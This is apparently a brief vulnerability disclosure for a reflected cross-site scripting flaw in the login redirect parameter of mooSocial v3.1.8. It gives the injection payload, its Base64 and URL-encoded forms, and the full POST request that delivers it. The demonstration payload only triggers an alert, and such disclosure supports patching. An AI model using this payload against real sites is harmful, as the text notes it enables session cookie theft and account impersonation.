A reflected cross-site scripting (XSS) vulnerability exisits in the data[redirect_url] parameter on user login function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
Vulerable Parameter: data[redirect_url]
Payload : test"><img src=a onerror=alert(1)>test
Payload (Base64 encoded) : dGVzdCI+PGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q=
Final Payload (Base64+Url encoded): dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d
POST Request on /moosocial/users/login (POST REQUEST DATA ONLY):
[_method=POST&data%5Bredirect_url%5D=dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d&data%5BUser%5D%5Bid%5D=&data%5BUser%5D%5Bemail%5D=admin%40localhost.com&data%5BUser%5D%5Bpassword%5D=pas[redacted]&data%5Bremember%5D=0]
